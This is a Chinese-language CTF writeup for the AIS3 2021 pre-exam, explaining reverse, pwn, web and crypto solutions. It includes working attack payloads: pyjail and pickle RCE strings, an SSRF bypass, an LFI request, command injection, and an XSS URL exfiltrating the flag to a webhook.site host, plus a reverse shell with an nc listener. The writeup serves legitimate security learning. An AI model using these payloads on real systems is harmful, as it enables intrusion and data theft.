AIS3 2021 pre-exam WriteUps
這次參加了 AIS3 2021 pre-exam 拿到了第一名,寫點 writeup 把東西記錄下來。去年這個時候連 CTF 是什麼都完全不知道,第一次接觸 AIS3 的時候是 EOF 的時候,pre-exam 完全是第一次碰過。
Reverse
Piano
可以看了出是 .NET 的程式,下載 dotPeek 之後把 dll 打開來看可以看到它要你彈一首小星星就會出現 flag,或是自己把需要的那些資料拿出來自己算出 flag 也可以。
Flag: AIS3{7wink1e_tw1nkl3_l1ttl3_574r_1n_C_5h4rp}
🐰 Peekora 🥒
這題是用 pickle 寫的 flag checker,用 python 的
pickletools.dis
就能看到解析過的 pickle
檔案,裡面可以看到它有一些條件,所以用 z3 把那些條件記錄下來就能得到
flag。
1 | from z3 import * |
Flag: AIS3{dAmwjzphIj}
COLORS
這題有個被混淆過的 js 檔,手動去混淆之後可以變成這樣:
1 | const _0x3eb4 = [ |
可以看出它是會在你輸入 Konami Code (上上下下左右左右BA) 之後顯示出 encode 過的 flag,然後你可以自己輸入一些東西去 encode。讀一下 encode 的 function 可以知道它是把每個字元轉成 8 個 bits 接在一起,然後 pad 到以 10 為對齊之後 10 個一組,後面 6 bits encode 到字元去,然後前面的 1 和 3 bits 分別 encode 到方向與顏色,所以寫個反轉換的 code 就有 flag 了。
1 | const original = |
Flag:
AIS3{base1024_15_c0l0RFuL_GAM3_CL3Ar_thIS_IS_y0Ur_FlaG!}
Misc
Microcheese
題目是要和一個 bot 玩 Nim Game,它一開始是給你一個你必輸的局面,所以沒有正規方法能贏。
這題是 Crypto 的 Microchess
的有 bug
版本,我最初這題也是用 Microchess
的 intended solution
解的。
diff 兩個版本的不同可以看到 bug 的地方是 play
函數沒有檢查 choice
是不是 0 1 2
其中之一,所以輸入其他的數字可以直接 pass 一回合。所以只要先玩到剩下
1,1
兩堆之後輸入一個其他數字 pass,然後就會剩下
1
,把它拿掉之後就勝利了。
Flag:
AIS3{5._e3_b5_6._a4_Bb4_7._Bd2_a5_8._axb5_Bxc3}
舊版 Flag(在作者沒發現有 bug 的時候的 flag):
AIS3{1._d4_d5_2._c4_e6_3._Nc3_c6_4._Nf3_dxc4}
Blind
它會先把 stdout(1
) 給 close
,然後讓你做一個
syscall 之後 read
flag 並 write
到
1
這個 pipe。所以這邊只要用 dup2
把
stderr(2
) 複製到 1
,這樣它 write
的時候就會顯示到 stderr 上面去,就能得到 flag。所以輸入是
33 2 1 0
。
Flag: AIS3{dupppppqqqqqub}
[震撼彈] AIS3 官網疑遭駭!
這題有個 pcap,裡面有許多的 dns 和 http requests,它的 http requests
都是發向 magic.ais3.org
的,但是實際上 dig
卻找不到。這邊要看 http target 的 address,可以注意到它和
quiz.ais3.org
是同個 ip,但是直接瀏覽時只能看到 nginx
的預設頁面而已,這邊我用了 curl
的 --resolve
修改 Host
header 測試了一下,發現
magic.ais3.org
確實有在那個 ip 上面,只是要自己加
header。改一下 hosts
之後也能從瀏覽器瀏覽
magic.ais3.org
。
然後透過觀察 http request 可以看到有一個 request 特別不同,觀察一下參數可以發現它是某個指令的 base64 再 reverse 的結果,測試一下可以發現那個頁面就是個 shell 可以讓你用,只是要把指令用 reverse 過的 base64 encode 起來。
1 | import requests |
Flag: AIS3{0h!Why_do_U_kn0w_this_sh3ll1!1l!}
Cat Slayer | Online Edition
這題是個文字的 Online Game,打怪升等可以獲得金錢,然後還能解索 curse
字元。curse 字元是你可以用在解一個簡單的 pyjail
(sandbox.py
) 能用的字元,不在上面的一些字元如果出現在
payload (spell) 中的話就不給你執行。預測被 blacklist 的字元有 ascii 的
digits、ascii 的 lowercase、()
和
.'"
,最後的三個字元還要升到 10 等之後轉生才能解鎖。
首先是解 pyjail 的部份,它是這樣做 sandbox 的:
1 | _eval = __builtins__.eval |
它的前面還有檢查 spell 是不是純 ascii 的,因為不能用 .'"
(轉生很麻煩) 所以可以利用 getattr
和 input
來接,所以一個基本的 payload 是這樣:
1 | getattr(getattr(__loader__,input())(input()),input())(input()) |
然後輸入就分別輸入 load_module
os
system
whoami
即可,這等價於
__loader__.load_module('os').system('whoami')
,之後再稍微縮短點可以變成:
1 | (l:=input,o:=getattr,o(o(__loader__,l())(l()),l())(l())) |
之後套它給的公式可以算出它最低能達成目標的等級是 3 等,不過我是用 4 等解的,因為之前不小心多解鎖了一個沒用的字元。升等部分的話就利用它的商店沒有檢查數量是不是負數,可以亂賣一些能力值到負數變成錢,弄出很不平衡的能力值,然後就能打敗怪物到 3 或是 4 等左右,之後再把能力值直接賣到負數去解鎖需要的字元,然後再送 payload 得到 shell 就完成了。
Flag: AIS3{CAO_Cat_Art_Online}
Cat Slayer | Cloud Edition
這題它會把你的玩家資料用 pickle 存起來,然後加上 padding 後用 AES ECB
加密之後給你,load 的時候也是先解密後去 padding,然後再呼叫
pickle.loads
。
這題關於 Crypto 所需要的部分就只有 AES ECB 模式在加密一樣的 block 的時候產生的結果是固定的(key 固定的時候),所以可以透過輸入名稱的時候把它對齊 block 的大小之後再塞自己的 pickle payload 就能得到 payload 的 ciphertext 了,加密過的 padding 的也是能透過對齊來取得。
不過這題的另一個難點是它讓你輸入名稱的時候用的是 input
函數,所以只要出現 \n
都會直接被中斷,所以 payload 沒辦法用
GLOBAL
(c__builtin__\neval\n
) 這樣的用法。去讀
pickle 的 source
code 可以知道比較新版的 python 還有個 STACK_GLOBAL
(\x93
然後從 stack 頂端取兩個來 find_class
)
能用,不過可以觀察到在 input
輸入 \x93
的時候會被變成 \xc2\x93
,因為它是吃 unicode 的。
這邊我用的是 BINPUT
(q
)
去把後面的一個字元去掉,所以 q\x93
變成
q\xc2\x93
,然後 q\xc2
只是把 stack
頂端的東西放到第 0xc2 的 memo 而已,相當於沒有效果。而字串的部分我用的是
BINUNICODE
(X
) 去輸入,之後湊出 payload
再對齊,然後補上對應的 padding 之後就能成功把 payload 送入
pickle.loads
get shell。
下面的腳本是 payload 生成的腳本,之後把結果輸入到 load
的地方之後就會執行 exec(input())
:
1 | from pwn import remote, process |
Flag: AIS3{mag1c_pick13_cut&paste}
之後還能利用
env
指令去看到 AES 的 key 是EnR3vCSX7PFyCzekBVAMMIK0jICLL1Mx
,這樣就能更簡單的生成 payload 了
Pwn
Write Me
這題它先把 GOT 中的 system
清掉,然後讓你隨便寫入一次後呼叫
system('/bin/sh')
。所以做法也很簡單,讓它再去呼叫一次 lazy
binding 的 code 即可,所以是把 4210728
的 address 的值改成
4198480
就能恢復 GOT 中的 system
並正常呼叫。
Flag: AIS3{Y0u_know_h0w_1@2y_b1nd1ng_w@rking}
noper
這題輸入一個 shellcode,然後它會固定把某些位置的 byte 改成
nop
,所以就自己寫一下 shellcode
然後讓它不要蓋到重要的部分就好了。
1 | from pwn import * |
Flag: AIS3{nOp_noOp_NOoop!!!}
AIS3 Shell
題目給你一個簡單的 shell,可以 define
list
和 run
指令,每個指令都有個 command name 和
command,command 的部份在輸入 run <command name>
的時候會被放到 system
中,但是在 define
的時候有用白名單限制 command
的值。
這題有實作自己的 memory allocator,InitAlloc
會先用
malloc
預先配置好 256 512 768 ... 的 chunk,然後每個大小的
chunk 都有 64 個。
仔細去看可以發現它在 InitAlloc
和 MemAlloc
的地方所用的 buffer 大小對不上,把 index 當作了 chunk 的大小,然後要
MemAlloc
的 size 跑到了 index
的地方去,所以有越界寫入的狀況,所以透過 gdb 玩一下就能弄出把本來就有的
chunk 的指令給蓋掉的狀況,所以就把 ls
蓋掉成
sh
就能 get shell。
1 | from pwn import * |
Flag: AIS3{0hh_H0w_do_you_ch@ng3_my_comm4nd}
Gemini
這題是個 heap 的題目,裡面有種 0x20 大小的資料結構大概能表示如下:
1 | struct point { |
有四個操作能用:
malloc(0x20)
然後輸入x
y
和namelen
,然後再malloc(namelen)
之後再輸入name
,最後把點放到一個 global 的 array 裡面。- 輸入 index,把點上的
namelen
x
y
設為 0,然後把name
給 free 掉之後再 free 點的那個 chunk,但是不會把 global array 裡面的東西給清掉。 - 輸入 index,然後修改一個點的
x
y
。 - 輸入 index,然後輸出點的
name
的字串值和x
y
的值。
從第二個操作很明顯能知道有 UAF,然後題目是在 Ubuntu 20.04 上面跑的,用的 glibc 是 2.31,所以有 tcache。
不過因為 tcache 只看 next
指標(放在 namelen
的位置上),所以沒辦法直接透過第三個操作去弄 tcache corrpution 達成
malloc
回自己想要的 address。
首先是可以透過建立 8 個 namelen = 256
的點,然後按照順序
free 0~7,所以 heap 狀態會變成這樣:
1 | # p{i} 指的是第 i 個 point,s{i} 是第 i 個 point 裡面的 name |
之後如果再建立一個 namelen = 32
的點,它的 point 會是
p6
,而 name 的地方會是
p5
,所以寫入之後再去讀第五個點的值就能達成任意記憶體讀取。
然後如果再把前面建立 8 個 namelen = 256
的點之後,先加入一個大小不同但是超過 fastbin 的點,例如
namelen = 128
,然後再 free 0~7 之後再把
namelen = 128
的點給 free 掉,s7
就會跑到
unsorted bin 裡面,這個時候去讀第七個點的值就能 leak libc 的地址。
如果在前面達成任意記憶體讀取的地方去 free 看看的時候,會發現直接 error,因為它在 free 的時候會先把 name 給 free 掉,所以只要把任意記憶體讀取的 address 放到一個 fake chunk 上面去就能讓它之後 malloc 拿到那部份的位置。 (House of Sprit)
所以我先把 point 0 的 name 放成一個 0x410
大小的 fake
chunk,然後再用上面的方法去 leak libc
和進入任意記憶體讀取的狀態,接下來把 fake chunk 的位置(可用 offset
算)放到任意記憶體讀取的位置上,之後 free 的時候就會進入 tcache,再
malloc 一次後就能拿回 fake chunk 去達成 heap 上面的 Out of bounds
write。
Out of bounds write 之後可以在某個 tcache chunk 的 next 寫入
__free_hook
(tcache corruption),然後再 malloc 之後就能對
__free_hook
寫入 system
,接下來再讓某個 chunk
的 name 的內容是 /bin/sh
,當它被 free 的時候就相當於
system('/bin/sh')
了。
1 | from pwn import * |
Flag: AIS3{345y_h34p_345y_l1f3}
Web
ⲩⲉⲧ ⲁⲛⲟⲧⲏⲉꞅ 𝓵ⲟ𝓰ⲓⲛ ⲣⲁ𝓰ⲉ
可以利用 username
和 password
去 json
injection,因為 json.loads
遇到重複的 key
會取後面出現的值。
例如 username
設為 c8763
和
password
設為
", "showflag": true, "password": null, "a": "
就能成功登入了,因為 json 會變成:
1 | {"showflag": false, "username": "c8763", "password": "", "showflag": true, "password": null, "a": ""} |
Flag: AIS3{/r/badUIbattles?!?!}
HaaS
這題有簡單的 ssrf,只要 status code 和預期的 status
不同就會顯示內容,不過它會擋 localhost
或是
127.0.0.1
這樣的字串。這個部分可以自己用網域弄個 A record
到 127.0.0.1
去繞,或是使用 ipv4 的其他表示方法,例如
127.1
。所以只要用這樣的 request 就能得到 flag 了:
1 | curl "http://quiz.ais3.org:7122/haas" --data "url=http://127.1/&status=1" |
Flag: AIS3{V3rY_v3rY_V3ry_345Y_55rF}
【5/22 重要公告】
首先是可以用 LFI 讀到檔案:
curl "http://quiz.ais3.org:8001/?module=php://filter/read=convert.base64-encode/resource=modules/api"
modules/api.php
的內容:
1 |
|
在裡面可以發現它有個 sql injection,不過撈 database 看不到
flag,所以可以改為控制 $data['host']
去達成 command
injection。它雖然會把空白 replace 不見,不過這個可以利用
${IFS}
代替空白,然後把資料發送到自己的 server
上面即可:
1 | import requests |
Flag: AIS3{o1d_skew1_w3b_tr1cks_co11ect10n_:D}
XSS Me
這題可以透過 message
參數放東西到一個
<script>
裡面的一個字串中,測試一下會發現
'
"
\
等等的字元都有正常 escape
掉,所以沒辦法讓它脫離 js 的字串去 xss。不過如果直接輸入
<script>alert(1)</script>
的話會發現瀏覽器就不執行原本的 js 了,因為瀏覽器在解析 html 中的 script
tag 的時候是優先看 </script>
作為結束,所以就算是在
js 的字串中出現也是能強制把 <script>
結束,進行
XSS。
再來是會發現它的 message
有長度限制,超過一定長度就會超出限制範圍,我這邊用
<svg/onload>
結合
location=location.hash.slice(1)
,然後在 hash 的地方塞
javascript:...
就不過超過長度了。
最終的 url:
1 | http://quiz.ais3.org:8003/?message=%3C/script%3E%3Csvg%20onload=location=location.hash.slice(1)%3E#javascript:fetch('/getflag').then(r=%3Er.text()).then(x=%3Elocation='https://webhook.site/b8950183-c7a9-431d-8efb-005d738c5798?a='+x) |
Flag: AIS3{XSS_K!NG}
Cat Slayer ᴵⁿᵛᵉʳˢᵉ
這個題目是 java 的 deserialization,它雖然只有給
.class
,但是直接用 Decompiler
之後的結果可讀性很高,直接複製下來也是能 compile 的。
可以看到它在 Maou
這個 class 裡面有自己額外寫
serialization 的 code,然後它還會根據讀進來的資料去用 reflection 去
construct class,然後 call method,所以可以想辦法讓它呼叫
Runtime.exec
。
Main.java
:
1 | package com.cat; |
1 | package com.cat; |
用這樣的方法就能生成出能 RCE 的 payload,DEMON_NAMES
的地方放的是要執行的指令。不過由於 Runtime.exec
會對某些字元做些處裡的樣子,我用了這個網站先把指令處裡成能在
Runtime.exec
裡面執行的形式。裡面的指令就一個簡單的 reverse
shell,在自己的 server 上先 nc -vl $PORT
監聽一下即可。
Flag: AIS3{maou_lucifer_meowmeow}
Crypto
Microchip
這題蠻明顯的,就因為有已知的 flag format,可以獲得需要的 keys 去解密整個:
1 | s = b"=Js&;*A`odZHi'>D=Js&#i-DYf>Uy'yuyfyu<)Gu" |
Flag: AIS3{w31c0me_t0_AIS3_cryptoO0O0o0Ooo0}
ReSident evil villAge
這題的目標是要 sign 一個特別的 target
只要先 sign
Flag:
AIS3{R3M383R_70_HAsh_7h3_M3Ssa93_83F0r3_S19N1N9}
Republic of South Africa
這題會用一個奇怪的 keygen 函數去計算一個
count
,然後生成兩個 public key n=pq
使得
p+q == count
,然後用 RSA 把 flag 加密。
它的 count 是一個用物理上的彈性碰撞的次數去計算的,因為它的
digits
很大所以不可能直接算,因為太慢了。如果有在看 3b1b
的話應該有看過 Why
do colliding blocks compute pi?,所以知道 count
其實是
31415...
。
既然知道
1 | from Crypto.Util.number import long_to_bytes |
Flag:
AIS3{https://www.youtube.com/watch?v=jsYwFizhncE}
Microchess
題目是要和一個 bot 玩 Nim Game,它一開始是給你一個你必輸的局面,所以沒有正規方法能贏。
可以看到說它有個儲存與載入遊戲的功能,一個局面是以逗號分隔的數字表達:
8,7,6,3
,然後會用一個它自創的 hash 去算 digest
放到局面的後面,例如
8,7,6,3:160c8763
,所以目標是想辦法修改局面,還要弄出正確的
digest 才能通過檢查。
只是可以看到它的 hash 函數裡面有用到特殊的 secret
值,沒有那個值我們沒辦法算 hash,不過可以觀察發現它很容易做 length
extension attack,所以拿已知必輸的局面在後面加上 ,1
把它變成必勝,然後算出延伸後的 digest
即可。為了方便我會找局面的字串長度正好為 8 的倍數的,因為它的 hash 有
padding 的問題,這樣比較好算延伸後的
hash。之後就用它提供的算法去決定必勝的策略去下贏對方就能拿到 flag
了。
1 | from pwn import * |
Flag: AIS3{1._e4_e5_2._Qh5_Ke7_3._Qxe5#_1-0}
Microchart
這題有點像是把類似 LFSR 的東西放在一個 osu! 的譜面中,然後 flag 是 LFSR 前面的一個狀態。
首先是可以寫個腳本把譜面中裡面的那個 sequence dump 出來:
1 | with open("microchart.osu", "r") as f: |
再來是發現它在把 state 往前弄一部的時候像是在做向量內積,所以找出 64 組可以建立一個線性方程組,然後解開就能找到它的 recurrence,要反向的話也是一樣解線性方程組,之後再利用內積就能回推了。
1 | from sage.all import * |
Flag:
AIS3{nooo_you_cant_just_break_my_microchip!_haha_math_goes_brrr}
Welcome
Cat Slayer ᶠᵃᵏᵉ | Nekogoroshi
連線過去是一個數字密碼輸入介面,可以觀察到只要一個數字錯誤馬上就會
error,正確的話會給你繼續輸入,所以手動一個一個數字暴力找密碼即可,最後可以找到密碼
2025830455298
。
Flag: AIS3{H1n4m1z4w4_Sh0k0gun}